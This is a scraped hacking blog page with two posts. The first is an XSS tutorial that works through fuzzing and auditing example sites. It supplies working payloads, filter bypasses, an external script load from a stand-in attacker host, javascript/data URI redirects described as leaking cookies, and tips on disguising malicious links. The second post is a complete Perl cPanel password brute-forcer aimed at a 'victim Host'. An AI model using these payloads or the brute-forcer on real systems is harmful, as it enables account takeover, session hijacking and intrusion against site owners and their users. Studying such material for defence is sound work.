        <a href="http://securitymusings.com/article/752/sniffing-networks-part-1-8023-and-mac-addresses" target="_blank">Some extra info abt MITM</a> </div>
</div>

ARP Spoof Hacking Hacking Tutorials MITM SSL Strip Tutorials Stealing Credentials via MITM Attacks -- ARPSpoof + SSLStrip + IPTables

Greetings, ladies and gentlemen. Today we'll be learning about a couple of interesting tools and how they can be used to steal...

XSS Tutorial - From Bug to Vulnerability

9/30/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCsICJmPJO6ld-W7YsegFWgiYY7aRQ3tjQub1CWmvYNOwBSNDKLQ5u9OweGmYgpeUvkMMhAe1nSL1_mx4PkahQMf7dMTRWMfyVjgbSOkMPoEjvfSQ1f1Mxwkv82JswtFX7Ffi6HZYx4rrl/s1600/XSS+cross+site+scripting+vulnerability.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="182" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCsICJmPJO6ld-W7YsegFWgiYY7aRQ3tjQub1CWmvYNOwBSNDKLQ5u9OweGmYgpeUvkMMhAe1nSL1_mx4PkahQMf7dMTRWMfyVjgbSOkMPoEjvfSQ1f1Mxwkv82JswtFX7Ffi6HZYx4rrl/s400/XSS+cross+site+scripting+vulnerability.gif" width="400" /></a></div>
<br />
<div style="margin: 0px; padding: 0px;">
<div id="post_message_8389" style="margin: 0px; padding: 0px;">
<br />
Dear fellow members of RAH-Labs<br />
<br />
<br />
This tutorial was originally meant only for DeadHackers as an exclussive guide,<br />
however after they have changed their site multiple times I thought that<br />
I would post it here before it might get removed since this guide took a lot<br />
of time to create. (almost a whole day at work)<br />
<br />
This tutorial does NOT contain actual attack code so you'll have to make that up yourself.<br />
<br />
<b>___ -:: Introduction ::- ____________</b><br />
<br />
<br />
<b>What is <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Scripting">XSS</acronym> and what does it refer to?</b><br />
<acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Scripting">XSS</acronym> aka Cross Site Scripting is a client-side attack where an attacker creates a malicious link,<br />
containing script- code which is then executed within the victim's browser. The script-code<br />
can be any language supported by the browser but mostly HTML and Javascript is used along<br />
with embedded Flash, Java or ActiveX.<br />
<br />
<b>What can Cross Site Scripting be used for?</b><br />
Cross Site Scripting can be used for a variety of things, such as session-hijacking, browser<br />
attacks, phishing, propaganda and even worms! However it still requires the victim to click<br />
a malicious link created by the attacker.<br />
<br />
<b>How could One get a victim to click a <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Scripting">XSS</acronym>-link?</b><br />
The easiest way to get people to click malicious links is to make them look authentic and non-<br />
malicious. Giving them a reason afterwards is the social-engineering part which should be easy<br />
except if the victim is aware of such attacks and / or has measures against Cross Site Scripting, such as NoScript.<br />
<br />
<b>How does One avoid <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Scripting">XSS</acronym>-links looking suspicious?</b><br />
This is typically done with encoding, short url services, redirects and even flash!<br />
<br />
<b>Which types of Cross Site Scripting are there?</b><br />
The most common types are GET- and POST-based <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Scripting">XSS</acronym>. However Cross Site Scripting can also<br />
be triggered via cookies. Some individuals claims that <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Scripting">XSS</acronym> can also be divided into persistent and<br />
non-persistent but those types are also and should be refered to as injection which is a different<br />
class of bugs / vulnerabilities.<br />
<br />
<b>What is the difference between GET- and POST-<acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Scripting">XSS</acronym>?</b><br />
The difference is that when GET-variables is used it is possible to conduct normal <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Scripting">XSS</acronym> attacks<br />
where an attacker sends a malicious crafted URL to the victim which is then executed when<br />
the victim opens the link in the browser.<br />
<br />
With POST-variables an attacker could f.ex. use flash to send the victim to the POST-<acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Scripting">XSS</acronym><br />
vulnerable site since it is not possible to create a URL when POST-variables are in use.<br />
<br />
<b>Are there sub-categories of Cross Site Scripting?</b><br />
At the moment there's XSSR and <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site SQL Injection">XSSQLI</acronym>. One could say that <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Request Forgery">XSRF</acronym>/<acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Request Forgery">CSRF</acronym> belongs to the same<br />
category, however the attack method differs too much from traditional Cross Site Scripting.<br />
XSSR or CSSR aka Cross Site Script Redirection is used to redirect a victim to another page<br />
unwillingly. The page can for example contain a phishing template, browser attack code or in<br />
some cases where the data or javascript URI scheme is used: session-hijacking. <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site SQL Injection">XSSQLI</acronym> is a<br />
mix of Cross Site Scripting and SQL Injection, where an unknowing victim clicks a malicious link<br />
containing SQL Injection instructions for an area in the website which requires privileges that<br />
guests or members doesn't have. <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Request Forgery">XSRF</acronym> or <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Request Forgery">CSRF</acronym> (sometimes refered to as C-Surf) stands for<br />
Cross Site Request Forgery which is used to send input from a 3rd party site to the target site.<br />
<acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Request Forgery">XSRF</acronym> can in some cases be triggered just by viewing a specially crafted image but the most<br />
commonly used are URLs. With Cross Site Request Forgery it might be possible to f.ex. alter<br />
the password of the victim if the target site is not secured properly with tokens etc.<br />
<br />
<b>Process  of XSS</b><br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjaKMPe1R9HQhDScyucl-Gu0ITmTrDiWcnsFz8RmyXEFGhoRQxc6UDfZ8sQqhv8Q4KBnH1eYaZFVlosheAqcMFZsT6WaRaNsflTrsu6oYR3CP1jSGTOgM74EIquDqVP9YeIPuxCjDc0hJzP/s1600/xss_how.png" imageanchor="1" style="clear: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="380" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjaKMPe1R9HQhDScyucl-Gu0ITmTrDiWcnsFz8RmyXEFGhoRQxc6UDfZ8sQqhv8Q4KBnH1eYaZFVlosheAqcMFZsT6WaRaNsflTrsu6oYR3CP1jSGTOgM74EIquDqVP9YeIPuxCjDc0hJzP/s640/xss_how.png" width="640" /></a></div>
<b> </b> <br />
<br />
<br />
<b>What is XST and can it be used for anything?</b><br />
XST also known as Cross Site (Script) Tracing is a way of abusing the HTTP Trace (Debug)<br />
protocol. Anything that an attacker sends to a web-server that has TRACE enabled will send<br />
the same answer back. If an attacker sends the following:<br />
<br />
<div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;">
<div class="bbcode_description" style="margin: 0px; padding: 0px;">
Code:</div>
<pre class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-family: monospace; font-size: 12px; height: 60px; line-height: 12px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;">TRACE / HTTP/1.0     Host: target.tld     Custom-header: <script>alert(0)</script></pre>
</div>
Then the attacker will receive the same "Custom-header: <scr..." back allowing script execution.<br />
However after recent browser updates the following year(s) XST has been increasingly harder to<br />
control and execute properly.<br />
<br />
<b>How is it possible to find <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Scripting">XSS</acronym> bugs within websites?</b><br />
There are 2 methods: code / script auditing or fuzzing which is described below.<br />
<br />
<b>What kind of tools is required to find <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Scripting">XSS</acronym> bugs?</b> (REQ = Required, OPT = Optional)<br />
- REQ: An Internet Browser (such as FireFox) in case you're fuzzing.<br />
- REQ: A text-viewer (such as notepad) in case you're auditing.<br />
- OPT: An intercepting proxy in case you're doing more advanced <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Scripting">XSS</acronym>. (In FireFox it is possible to use Tamper Data).<br />
- OPT: Browser Addons, for FireFox the following are especially useful: Firebug, JSView and LiveHTTP Headers.<br />
<br />
<b>What else is useful to know if One wants to find <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Scripting">XSS</acronym> bugs?</b><br />
- Browser limitations regarding Cross Site Scripting [1]<br />
- HTTP Headers and how the HTTP protocol works.<br />
- HTML + Javascript and perhaps embedded script attacks. (flash etc.)<br />
- Intercepting proxies (Burp etc.), differential tools (meld, ExamDiff, etc.)<br />
- Useful browser-addons (see FireCat [3])<br />
- Website scanners (Nikto, W3AF, Grendel, Directory-fuzzers etc.)<br />
<br />
<b>Where is <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Scripting">XSS</acronym>-bugs typically located?</b><br />
It is usually located in user submitted input either via GET or POST variables, where it is reflected on<br />
the target site as text outside tags, inside tag values or within javascript. It can also in some cases<br />
be submitted via cookies, http headers or in rare cases file uploads.<br />
<br />
<b>How does One protect a site against <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Scripting">XSS</acronym>?</b><br />
The best way is to ensure that all user input and output is validated properly. However in some cases<br />
an IPS or WAF can also protect against <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Scripting">XSS</acronym> though the best way is still to validate the user-input and -output properly.<br />
<br />
<b>___ -:: Finding the Bug - With Fuzzing ::- ____________</b><br />
<br />
<br />
<b>[EASY] Example Case - A:</b><br />
<br />
<br />
We're at <a href="http://buggysite.tld/">http://buggysite.tld/</a> where we see a "Search-field" in the top-right. Since we don't know the<br />
real source code but only the HTML-output of the site we will have to fuzz anything where it is possible<br />
to submit data. In some cases the data will be reflected on the site and in some cases it wont. If it doesn't<br />
we move on to the next cookie, header, get / post variable or whatever it is that we are fuzzing.<br />
<br />
The most effective way to fuzz is not to write: <script>alert(0)</script> since many sites has different<br />
precautions against Cross Site Scripting. Instead we create a custom string which in most cases wont<br />
trigger anything that might alter the output of the site or render error pages that aren't vulnerable.<br />
<br />
An example of an effective string could be: "keyword'/\><<br />
<br />
" ' /\ > and < are the most commonly used html characters used in Cross Site Scripting. However if we want<br />
to be really thorough then we could also add )(][}{% to the string that we are using to fuzz the target site.<br />
<br />
The reason why there's not two of " or ' is because this can trigger a WAF, IPS or whatever precaution the site<br />
might have tried to implement against <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Scripting">XSS</acronym> instead of using a secure coding scheme /plan / development cycle.<br />
The reason why all characters are written as >< instead of <> is because this is a common bypass against <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Scripting">XSS</acronym>-filters!<br />
<br />
With that in mind, we use the following string: "haxxor'/\>< to fuzz the search-field:<br />
<br />
Lets take a look at the returned HTML-code:<br />
<br />
<div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;">
<div class="bbcode_description" style="margin: 0px; padding: 0px;">
HTML Code:</div>
<pre class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-family: monospace; font-size: 12px; line-height: 12px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;">...     <span style="color: #ff8000;"><input type=<span style="color: blue;">"text"</span> name=<span style="color: blue;">"search"</span> value=<span style="color: blue;">"<b><i>&quot;</i></b>haxxor'/\<b><i>&gt;</i></b><b><i>&lt;</i></b>"</span> /></span> <span style="color: navy;"><br /></span> You searched for \"haxxor\'/\\>< which returned no results.     ...</pre>
</div>
As we can see the input tag encoded our fuzzing string correct, however the text afterwards did not encode it<br />
properly as it only added slashes which is completely useless against Cross Site Scripting in this case.<br />
<br />
By submitting the following string we can <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Scripting">XSS</acronym> their website: <script>alert(0)</script> or perhaps <script src=<a href="http://h4x0r.tld/xss.js">http://h4x0r.tld/xss.js</a>></script><br />
<br />
Of course we don't know if the following characters : ( ) and . are filtered but in most cases they work.<br />
<br />
Our final <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Scripting">XSS</acronym>-url could be: <a href="http://buggysite.tld/search.php?query=%3Cscript%3Ealert%280%29%3C/script%3E">http://buggysite.tld/search.php?query=<script>alert(0)</script></a><script>alert(0)</script> if GET-variables are used.<br />
<br />
<br />
<b>[EASY] Example Case - B:</b><br />
We're at <a href="http://yetanothersite.tld/">http://yetanothersite.tld/</a> where we see another search formular.<br />
<br />
The following is returned after our string is submitted to the search field:<br />
<br />
<div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;">
<div class="bbcode_description" style="margin: 0px; padding: 0px;">
HTML Code:</div>
<pre class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-family: monospace; font-size: 12px; line-height: 12px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;">...     <input type="text" name="search" value="\"haxxor\'/\\><span style="color: navy;"><" /></span> <span style="color: navy;"><br /></span> You searched for <b><i>&quot;</i></b>haxxor'/\<b><i>&gt;</i></b><b><i>&lt;</i></b> which returned no results.     ...</pre>
</div>
In this case the string after the tag encoded the string properly, however the string inside the tag only had some<br />
slashes added which does nothing in this case. Basically we can bypass this easily with: "><script>alert(0)</script><br />
<br />
If we're going to load external javascript we will have to avoid using " and ' of course.<br />
<br />
Our final <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Scripting">XSS</acronym>-url could be: <a href="http://yetanothersite.tld/search.php?query=%22%3E%3Cscript%3Ealert%280%29%3C/script%3E">http://yetanothersite.tld/search.php?query="><script>alert(0)</script></a> if GET-variables are used.<br />
<br />
<b>[MODERATE] Example Case - C:</b><br />
We're at <a href="http://prettysecure.tld/">http://prettysecure.tld/</a> where we find yet another search field, it's time to submit our fuzzing string.<br />
<br />
The following HTML-code is returned after our string is submitted:<br />
<br />
<div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;">
<div class="bbcode_description" style="margin: 0px; padding: 0px;">
HTML Code:</div>
<pre class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-family: monospace; font-size: 12px; line-height: 12px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;">...     <span style="color: #ff8000;"><input type=<span style="color: blue;">"text"</span> name=<span style="color: blue;">"search"</span> value=<span style="color: blue;">"<b><i>&quot;</i></b>haxxor'/\<b><i>&gt;</i></b><b><i>&lt;</i></b>"</span>></span> You searched for "<b><i>&quot;</i></b>haxxor'/\<b><i>&gt;</i></b><b><i>&lt;</i></b>" which returned no results.     ... (further down)     <span style="color: maroon;"><script></span>     ...     s.prop1="prettysecure";     s.prop2="\"haxxor%39/\%3E%3C";     s.prop3="adspace";     ...     <span style="color: maroon;"></script></span></pre>
</div>
For most people this might look secure but it really isn't. A lot of people also overlooks potential Cross Site Scripting<br />
vectors if their string <script>alert(0)</script> is either not output directly or encoded where they expect the <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Scripting">XSS</acronym><br />
bug to be. This is why it is important to use a keyword that doesn't exist on the site, such as haxxor or something<br />
better. The reason why a keyword is used is because it is searchable almost always, you can call it a <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Scripting">XSS</acronym>-locator. [1]<br />
<br />
Anyway, back to our example. s.prop2="\"haxxor%39/\%3E%3C"; looks secure but the flaw is that backspace aka \ is not<br />
filtered or encoded correct. So if we write: \" it will become \\", which will escape the first \ but not our quote.<br />
As you can see, we can't use tags either so we'll have to do something else.<br />
<br />
We have of course checked that brackets ( ) are NOT filtered. (in some cases they can be).<br />
<br />
By entering the following string we are able to create an alert box: \"; alert(0); s.prop500=\"<br />
This will become: s.prop2=\\"; alert(0); s.prop500=\\" when we submit the string. The reason why we add the s.prop500=\"<br />
variable to our string is because the javascript will most likely NOT execute if we don't. We could also use comments so instead<br />
of s.prop500=\" we just use // in the end of the string.<br />
<br />
In this case it is also possible to execute external javascript if One uses a bit more advanced javascript.<br />
In order to do this we can use document.write(String.fromCharCode()); where you will need a decimal converter.<br />
<br />
Our final <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Scripting">XSS</acronym>-url could be: <a href="http://prettysecure.tld/search.php?query=%5C">http://prettysecure.tld/search.php?query=\</a>"; alert(0); s.prop500=\"<br />
<br />
<b>___ -:: Finding the Bug - With Auditing ::- ____________</b><br />
<b>[EASY] Example Case - A:</b><br />
<br />
The following file (index.php) has some interesting code:<br />
<br />
<div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;">
<div class="bbcode_description" style="margin: 0px; padding: 0px;">
PHP Code:</div>
<div class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-size: 12px; height: 96px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;">
<code style="font-family: monospace; line-height: 12px; margin: 0px; padding: 0px;"><code style="font-family: monospace; line-height: 12px; margin: 0px; padding: 0px;"><span style="color: black;"><span style="color: #0000bb;">    </span><span style="color: #007700;">...<br />
    if(</span><span style="color: #0000bb;">$_GET</span><span style="color: #007700;">[</span><span style="color: #dd0000;">'view_profile'</span><span style="color: #007700;">]==</span><span style="color: #0000bb;">1</span><span style="color: #007700;">) {<br />
    echo </span><span style="color: #0000bb;">$_GET</span><span style="color: #007700;">[</span><span style="color: #dd0000;">'name'</span><span style="color: #007700;">];<br />
    ... (</span><span style="color: #0000bb;">more code</span><span style="color: #007700;">)<br />
    }<br />
    ...  </span><span style="color: #0000bb;"></span></span></code></code></div>
</div>
By looking at the above code we can see that if view_profile is equal to 1 then the script prints the "name" variable.<br />
An example attack URL could look like: <a href="http://testz.tld/index.php?view_profile=1&name=">http://testz.tld/index.php?view_profile=1&name=</a><script>alert(0)</script><br />
<br />
<b>[HARD] Example Case - B:</b><br />
<br />
The following file (search.php) has some interesting code:<br />
<br />
<div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;">
<div class="bbcode_description" style="margin: 0px; padding: 0px;">
PHP Code:</div>
<div class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-size: 12px; height: 96px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;">
<code style="font-family: monospace; line-height: 12px; margin: 0px; padding: 0px;"><code style="font-family: monospace; line-height: 12px; margin: 0px; padding: 0px;"><span style="color: black;"><span style="color: #0000bb;">    </span><span style="color: #007700;">...<br />
    if(</span><span style="color: #0000bb;">$_GET</span><span style="color: #007700;">[</span><span style="color: #dd0000;">'set_flag'</span><span style="color: #007700;">]==</span><span style="color: #0000bb;">1</span><span style="color: #007700;">) {<br />
    </span><span style="color: #0000bb;">$var </span><span style="color: #007700;">= </span><span style="color: #dd0000;">"checked"</span><span style="color: #007700;">;<br />
    }<br />
    echo </span><span style="color: #dd0000;">"<input type='radio' value='flag' checked='" </span><span style="color: #007700;">.</span><span style="color: #0000bb;">htmlentities</span><span style="color: #007700;">(</span><span style="color: #0000bb;">$var</span><span style="color: #007700;">). </span><span style="color: #dd0000;">"' />"</span><span style="color: #007700;">;<br />
    ...  </span><span style="color: #0000bb;"></span></span></code></code></div>
</div>
This is a conditional vulnerability where register_globals in php.ini has to be set to On. (Off is factory default).<br />
Register_Globals basically allows an individual to set variables on the fly, even if they are not meant to be set.<br />
<br />
This only applies to variables that are NOT set as in the example above. Another problem we have encountered<br />
is htmlentities however due to a coding error we can still abuse the tag without creating a new.<br />
We will need to use event handlers in the <input> tag and some CSS (Cascading Style Sheet) to make sure that<br />
the victim triggers the eventhandler no matter what. There's multiple ways of doing that, one of them is:<br />
<br />
<div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;">
<div class="bbcode_description" style="margin: 0px; padding: 0px;">
HTML Code:</div>
<pre class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-family: monospace; font-size: 12px; line-height: 12px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;">style='display:block;width:99999px;height:99999px;'</pre>
</div>
An eventhandler that we could use in this case could be onmouseover, even though onblur might be better.<br />
<br />
You might ask yourself, why is the above script not secure? Because htmlentities() used that way is insecure, due to<br />
that the tag looks like this in html form: <input type='radio' value='flag' checked='$var' /><br />
<br />
Inside the checked value our variable ($var) is encoded, but only " > and < are encoded, not ' due to ENT_QUOTES<br />
were not set in the htmlentities function. This means that we can break out of checked='' easily.<br />
<br />
An example attack URL could be: <a href="http://was-secure.tld/search.php?test=%27%20style=%27display:block;width:99999px;height:99999px;%20%27%20onmouseover=%27alert%280%29">http://was-secure.tld/search.php?test=' style='display:block;width:99999px;height:99999px; ' onmouseover='alert(0)</a><br />
<br />
<br />
There is no "Example Case - C" since I have gone through most the important of Cross Site Scripting.<br />
<br />
<b>___ -:: Additional Information ::- ____________</b><br />
<b>XSSR</b><br />
<br />
<br />
When it is possible to send a user to the data or javascript URI scheme either via A) GET- or POST-variables or B) User<br />
submitted content such as a link then the XSSR category applies to the bug. However some individuals has claimed that<br />
a site that only accepts HTTP or HTTPS links via GET-variables also falls under the XSSR category.<br />
<br />
An example of XSSR could be: <a href="http://somesite.tld/redirect.php?link=data:text/html,%3Cscript%3Ealert%280%29%3C/script%3E">http://somesite.tld/redirect.php?link=data:text/html,<script>alert(0)</script></a><br />
And if the Javascript URI scheme is used: <a href="http://somesite.tld/redirect.php?link=javascript:alert%280%29;">http://somesite.tld/redirect.php?link=javascript<b></b>:alert(0);</a><br />
<br />
This has in some cases been known to leak cookies and is therefore used in session-hijacking.<br />
<br />
<b><acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site SQL Injection">XSSQLI</acronym></b><br />
<br />
<br />
When a SQL Injection vulnerability exists within a privileged area of the target site, <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site SQL Injection">XSSQLI</acronym> becomes usable.<br />
<br />
An example of <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site SQL Injection">XSSQLI</acronym> could be tricking the administrator of "shouldbescure.tld" to click either the SQL Injection<br />
link or click a Cross Site Scripting link which contains a call to the SQL Injection in the privileged area of the site<br />
where this could be the vulnerable part:<a href="http://shouldbesecure.tld/admin.php?del=1%20AND%201=1/*"> http://shouldbesecure.tld/admin.php?del=1 AND 1=1/*</a><br />
<br />
<b><acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Request Forgery">XSRF</acronym></b><br />
<br />
<br />
Also known as <acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Request Forgery">CSRF</acronym> and C-Surf can be used against sites that doesn't use tokens which are usually hidden inside tags.<br />
A common way to use tokens against C-Surf attacks is to hide them inside tags like:<br />
<br />
<div class="bbcode_container" style="display: block; margin: 5px 20px 20px; padding: 0px;">
<div class="bbcode_description" style="margin: 0px; padding: 0px;">
HTML Code:</div>
<pre class="bbcode_code" style="background-color: #f2f6f8; border: 1px inset; direction: ltr; font-family: monospace; font-size: 12px; line-height: 12px; margin: 0px; overflow: scroll; padding: 6px; text-align: left;"><span style="color: #ff8000;"><input type=<span style="color: blue;">"hidden"</span> name=<span style="color: blue;">"anti-<acronym style="border-bottom: 1px dotted rgb(0, 0, 0); border-width: 0px 0px 1px; cursor: help; font-variant: normal;" title="Cross Site Request Forgery">csrf</acronym>"</span> value=<span style="color: blue;">"random token value"</span> /></span></pre>
</div>
If the tokens are not random enough it might be possible to calculate these and still use C-Surf in an attack.<br />
<br />
<br />
<br />
<b>References:</b><br />
[1] <a href="http://ha.ckers.org/xss.html" style="color: #417394; text-decoration: none;" target="_blank">http://ha.ckers.org/xss.html</a><br />
[2] <a href="http://en.wikipedia.org/wiki/Cross-site_scripting" style="color: #417394; text-decoration: none;" target="_blank">http://en.wikipedia.org/wiki/Cross-site_scripting</a><br />
[3] <a href="http://firecat.intern0t.net/" style="color: #417394; text-decoration: none;" target="_blank">http://firecat.intern0t.net/</a><br />
[4] <a href="http://deadhackers.eu/boards/viewtopic.php?f=9&t=22" style="color: #417394; text-decoration: none;" target="_blank">http://deadhackers.eu/boards/viewtopic.php?f=9&t=22</a><br />
[5] <a href="http://project67555.appspot.com/security.html">http://project67555.appspot.com/security.html</a><br />
<br />
[6] <a href="http://tamilaffection.com/?p=751">http://tamilaffection.com/?p=751</a></div>
<div id="post_message_8389" style="margin: 0px; padding: 0px;">
<br />
</div>
</div>
</div>

Hacking Hacking Tutorials Tutorials XSS XSS Tutorial - From Bug to Vulnerability

Dear fellow members of RAH-Labs This tutorial was originally meant only for DeadHackers as an exclussive guide, however after th...

Cpanel Password Brute Forcer

9/25/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEha0FOq6H3_NuqzqYMfE4uzSEm3n45BUfzQ7mKIM-8D04PI2-3s1cZ840CUtB0yUxTNdQ7o5c1ig6BQWhtb9r-EtG5nIuZ3WwOW70bZatbyZpyYMOITCAMbaJGvITIfkxoEwILcNk9W0IUh/s1600/cpanel+bruteforce.jpg" imageanchor="1" style="clear: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="212" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEha0FOq6H3_NuqzqYMfE4uzSEm3n45BUfzQ7mKIM-8D04PI2-3s1cZ840CUtB0yUxTNdQ7o5c1ig6BQWhtb9r-EtG5nIuZ3WwOW70bZatbyZpyYMOITCAMbaJGvITIfkxoEwILcNk9W0IUh/s640/cpanel+bruteforce.jpg" width="640" /></a></div><br />
<br />
<div class="program glow"><pre><code class="prettyprint">
# Cpanel Password Brute Forcer
# ----------------------------
# (c)oded By Hessam-x
# Perl Version ( low speed )
# Oerginal Advisory :
# http://www.simorgh-ev.com/advisory/2006/cpanel-bruteforce-vule/

use IO::Socket;
use LWP::Simple;
use MIME::Base64;

$host = $ARGV[0];
$user = $ARGV[1];
$port = $ARGV[2];
$list = $ARGV[3];
$file = $ARGV[4];
$url = "http://".$host.":".$port;
if(@ARGV < 3){
print q(
################################################## #############
# Cpanel Password Brute Force Tool #
################################################## #############
# usage : cpanel.pl [HOST] [User] [PORT][list] [File] #
#-------------------------------------------------------------#
# [Host] : victim Host (simorgh-ev.com) #
# [User] : User Name (demo) #
# [PORT] : Port of Cpanel (2082) #
#[list] : File Of password list (list.txt) #
# [File] : file for save password (password.txt) #
# #
################################################## #############
# (c)oded By Hessam-x / simorgh-ev.com #
################################################## #############
);exit;}

headx();

$numstart = "-1";

sub headx() {
print q(
################################################## #############
# Cpanel Password Brute Force Tool #
# (c)oded By Hessam-x / simorgh-ev.com #
################################################## #############
);
open (PASSFILE, "<$list") || die "[-] Can't open the List of password file !";
@PASSWORDS = <PASSFILE>;
close PASSFILE;
foreach my $P (@PASSWORDS) {
chomp $P;
$passwd = $P;
print "
[~] Try Password : $passwd
";
&brut;
};
}
sub brut() {
$authx = encode_base64($user.":".$passwd);
print $authx;
my $sock = IO::Socket::INET->new(Proto => "tcp",PeerAddr => "$host", PeerPort => "$port") || print "
[-] Can not connect to the host";
print $sock "GET / HTTP/1.1
";
print $sock "Authorization: Basic $authx
";
print $sock "Connection: Close

";
read $sock, $answer, 128;
close($sock);

if ($answer =~ /Moved/) {
print "
[~] PASSWORD FOUND : $passwd
";
exit();
}
}
